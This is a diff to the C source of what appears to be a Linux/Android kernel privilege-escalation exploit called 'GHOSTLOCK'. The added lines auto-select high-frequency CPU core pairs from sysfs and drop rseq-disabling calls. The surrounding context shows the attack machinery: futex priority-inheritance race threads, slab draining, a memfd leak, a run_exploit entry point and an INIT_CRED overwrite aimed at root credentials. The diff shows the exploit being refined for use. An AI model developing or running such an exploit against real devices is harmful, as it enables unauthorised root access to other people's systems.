@@ -552,7 +552,6 @@ atomic_int pipe_prepare_done; |
552 | 552 | int memfd_leak; |
553 | 553 |
|
554 | 554 | void *waiter_thread(void *arg __attribute__((unused))) { |
555 | | - disable_rseq_for_thread(); |
556 | 555 | int tid = (int)syscall(SYS_gettid); |
557 | 556 | atomic_store(&waiter_tid, tid); |
558 | 557 | if (futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) |
@@ -572,7 +571,6 @@ void *waiter_thread(void *arg __attribute__((unused))) { |
572 | 571 | } |
573 | 572 |
|
574 | 573 | void *owner_thread(void *arg __attribute__((unused))) { |
575 | | - disable_rseq_for_thread(); |
576 | 574 | long lock_target = futex_op(&f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); |
577 | 575 | if (lock_target != 0) pr_error("owner lock target errno=%d\n", errno); |
578 | 576 | while (!atomic_load(&waiter_ready)) usleep(1000); |
@@ -586,7 +584,6 @@ void *owner_thread(void *arg __attribute__((unused))) { |
586 | 584 | } |
587 | 585 |
|
588 | 586 | void *consumer_thread(void *arg __attribute__((unused))) { |
589 | | - disable_rseq_for_thread(); |
590 | 587 | pin_to_core(CONSUMER_CORE); |
591 | 588 | pr_info("consumer thread running on cpu=%d\n", sched_getcpu()); |
592 | 589 | int seen = 0; |
@@ -759,38 +756,184 @@ static void slab_drain(void) { |
759 | 756 |
|
760 | 757 | int g_core_main = 0; |
761 | 758 | int g_core_consumer = 1; |
| 759 | +#define MAX_CPUS 256 |
| 760 | +#define MAX_PAIRS 256 |
| 761 | + |
| 762 | +typedef struct { |
| 763 | + int cpu; |
| 764 | + long freq; |
| 765 | +} cpu_freq_t; |
| 766 | + |
| 767 | +typedef struct { |
| 768 | + int main_core; |
| 769 | + int consumer_core; |
| 770 | +} cpu_pair_t; |
| 771 | + |
| 772 | +static long read_sysfs_long(const char *path) { |
| 773 | + FILE *fp = fopen(path, "r"); |
| 774 | + if (!fp) { |
| 775 | + return -1; |
| 776 | + } |
| 777 | + char buf[64]; |
| 778 | + if (!fgets(buf, sizeof(buf), fp)) { |
| 779 | + fclose(fp); |
| 780 | + return -1; |
| 781 | + } |
| 782 | + fclose(fp); |
| 783 | + return strtol(buf, NULL, 10); |
| 784 | +} |
| 785 | + |
| 786 | +static int parse_online_cpus(int *out, int max) { |
| 787 | + FILE *fp = fopen("/sys/devices/system/cpu/online", "r"); |
| 788 | + if (!fp) { |
| 789 | + return 0; |
| 790 | + } |
| 791 | + char buf[256]; |
| 792 | + if (!fgets(buf, sizeof(buf), fp)) { |
| 793 | + fclose(fp); |
| 794 | + return 0; |
| 795 | + } |
| 796 | + fclose(fp); |
| 797 | + |
| 798 | + int n = 0; |
| 799 | + for (char *p = buf; *p && n < max;) { |
| 800 | + while (*p == ' ' || *p == ',') { |
| 801 | + p++; |
| 802 | + } |
| 803 | + if (!*p || *p == '\n') { |
| 804 | + break; |
| 805 | + } |
| 806 | + char *end; |
| 807 | + long a = strtol(p, &end, 10); |
| 808 | + if (end == p) { |
| 809 | + break; |
| 810 | + } |
| 811 | + p = end; |
| 812 | + long b = a; |
| 813 | + if (*p == '-') { |
| 814 | + p++; |
| 815 | + b = strtol(p, &end, 10); |
| 816 | + if (end == p) { |
| 817 | + break; |
| 818 | + } |
| 819 | + p = end; |
| 820 | + } |
| 821 | + for (long v = a; v <= b && n < max; v++) { |
| 822 | + out[n++] = (int)v; |
| 823 | + } |
| 824 | + } |
| 825 | + return n; |
| 826 | +} |
| 827 | + |
| 828 | +static int cmp_cpu_freq_desc(const void *a, const void *b) { |
| 829 | + const cpu_freq_t *x = (const cpu_freq_t *)a; |
| 830 | + const cpu_freq_t *y = (const cpu_freq_t *)b; |
| 831 | + if (x->freq != y->freq) { |
| 832 | + return (x->freq < y->freq) - (x->freq > y->freq); /* 频率降序 */ |
| 833 | + } |
| 834 | + return x->cpu - y->cpu; /* 同频按编号升序 */ |
| 835 | +} |
762 | 836 |
|
763 | 837 | void init_cpu_config(void) { |
764 | | - g_core_main = 0; |
765 | | - g_core_consumer = 1; |
766 | | - |
767 | | - const char *s = getenv("GHOSTLOCK_CORE"); |
768 | | - if (s && *s) { |
769 | | - long v = strtol(s, NULL, 10); |
770 | | - if (v >= 0 && v < CPU_SETSIZE) { |
771 | | - g_core_main = (int)v; |
772 | | - } else { |
773 | | - pr_warning("invalid GHOSTLOCK_CORE=%s, using %d\n", s, g_core_main); |
| 838 | + int online[MAX_CPUS]; |
| 839 | + int ncpu = parse_online_cpus(online, MAX_CPUS); |
| 840 | + |
| 841 | + cpu_freq_t freqs[MAX_CPUS]; |
| 842 | + int nf = 0; |
| 843 | + for (int i = 0; i < ncpu && nf < MAX_CPUS; i++) { |
| 844 | + char path[128]; |
| 845 | + snprintf(path, sizeof(path), |
| 846 | + "/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", |
| 847 | + online[i]); |
| 848 | + long f = read_sysfs_long(path); |
| 849 | + if (f <= 0) { |
| 850 | + continue; /* 读不到最大频率的核不参与配对 */ |
774 | 851 | } |
| 852 | + freqs[nf].cpu = online[i]; |
| 853 | + freqs[nf].freq = f; |
| 854 | + nf++; |
775 | 855 | } |
776 | | - s = getenv("GHOSTLOCK_CONSUMER_CORE"); |
777 | | - if (s && *s) { |
778 | | - long v = strtol(s, NULL, 10); |
779 | | - if (v >= 0 && v < CPU_SETSIZE) { |
780 | | - g_core_consumer = (int)v; |
| 856 | + |
| 857 | + cpu_pair_t pairs[MAX_PAIRS]; |
| 858 | + int npair = 0; |
| 859 | + |
| 860 | + if (nf >= 2) { |
| 861 | + qsort(freqs, nf, sizeof(freqs[0]), cmp_cpu_freq_desc); |
| 862 | + |
| 863 | + /* 按频率簇分组(同频),簇内两两配对,大核簇排最前 */ |
| 864 | + for (int i = 0; i < nf && npair < MAX_PAIRS;) { |
| 865 | + int j = i; |
| 866 | + while (j < nf && freqs[j].freq == freqs[i].freq) { |
| 867 | + j++; |
| 868 | + } |
| 869 | + int cnt = j - i; |
| 870 | + for (int k = 0; k + 1 < cnt && npair < MAX_PAIRS; k += 2) { |
| 871 | + pairs[npair].main_core = freqs[i + k].cpu; |
| 872 | + pairs[npair].consumer_core = freqs[i + k + 1].cpu; |
| 873 | + npair++; |
| 874 | + } |
| 875 | + i = j; |
| 876 | + } |
| 877 | + } |
| 878 | + |
| 879 | + /* 兜底:确保 0/1 一定作为候选(与 Android 端行为一致) */ |
| 880 | + int have_default = 0; |
| 881 | + for (int i = 0; i < npair; i++) { |
| 882 | + if (pairs[i].main_core == 0 && pairs[i].consumer_core == 1) { |
| 883 | + have_default = 1; |
| 884 | + break; |
| 885 | + } |
| 886 | + } |
| 887 | + if (!have_default && npair < MAX_PAIRS) { |
| 888 | + pairs[npair].main_core = 0; |
| 889 | + pairs[npair].consumer_core = 1; |
| 890 | + npair++; |
| 891 | + } |
| 892 | + |
| 893 | + printf("available cpu pairs (%d):\n", npair); |
| 894 | + for (int i = 0; i < npair; i++) { |
| 895 | + long f = -1; |
| 896 | + for (int k = 0; k < nf; k++) { |
| 897 | + if (freqs[k].cpu == pairs[i].main_core) { |
| 898 | + f = freqs[k].freq; |
| 899 | + break; |
| 900 | + } |
| 901 | + } |
| 902 | + printf(" [%d] main=%d consumer=%d", i, pairs[i].main_core, |
| 903 | + pairs[i].consumer_core); |
| 904 | + if (f > 0) { |
| 905 | + printf(" (%ld MHz)", f / 1000); |
| 906 | + } |
| 907 | + printf("\n"); |
| 908 | + } |
| 909 | + |
| 910 | + int chosen = 0; |
| 911 | + |
| 912 | + /* 环境变量显式指定时优先(与 Android 端传参保持一致) */ |
| 913 | + const char *sc = getenv("GHOSTLOCK_CORE"); |
| 914 | + const char *cc = getenv("GHOSTLOCK_CONSUMER_CORE"); |
| 915 | + if (sc && *sc && cc && *cc) { |
| 916 | + long vm = strtol(sc, NULL, 10); |
| 917 | + long vc = strtol(cc, NULL, 10); |
| 918 | + if (vm >= 0 && vm < CPU_SETSIZE && vc >= 0 && vc < CPU_SETSIZE && |
| 919 | + vm != vc) { |
| 920 | + g_core_main = (int)vm; |
| 921 | + g_core_consumer = (int)vc; |
| 922 | + chosen = 1; |
781 | 923 | } else { |
782 | | - pr_warning("invalid GHOSTLOCK_CONSUMER_CORE=%s, using %d\n", s, |
783 | | - g_core_consumer); |
| 924 | + pr_warning("invalid env cores %s/%s; falling back to auto\n", sc, cc); |
784 | 925 | } |
785 | | - } else { |
786 | | - g_core_consumer = g_core_main + 1; |
787 | 926 | } |
788 | 927 |
|
789 | | - if (g_core_main == g_core_consumer) { |
790 | | - pr_warning("main and consumer cores are the same (%d); falling back\n", |
791 | | - g_core_main); |
792 | | - g_core_main = 0; |
793 | | - g_core_consumer = 1; |
| 928 | + /* 自动选最合适的:候选列表第 0 组(大核对) */ |
| 929 | + if (!chosen) { |
| 930 | + if (npair > 0) { |
| 931 | + g_core_main = pairs[0].main_core; |
| 932 | + g_core_consumer = pairs[0].consumer_core; |
| 933 | + } else { |
| 934 | + g_core_main = 0; |
| 935 | + g_core_consumer = 1; |
| 936 | + } |
794 | 937 | } |
795 | 938 |
|
796 | 939 | cpu_set_t allowed; |
@@ -1100,7 +1243,6 @@ int run_exploit(int argc, char **argv) { |
1100 | 1243 | } |
1101 | 1244 | g_init_cred_image = INIT_CRED; |
1102 | 1245 |
|
1103 | | - disable_rseq_for_thread(); |
1104 | 1246 | set_unbuffer(); |
1105 | 1247 | signal(SIGPIPE, SIG_IGN); |
1106 | 1248 | set_limit(); |
|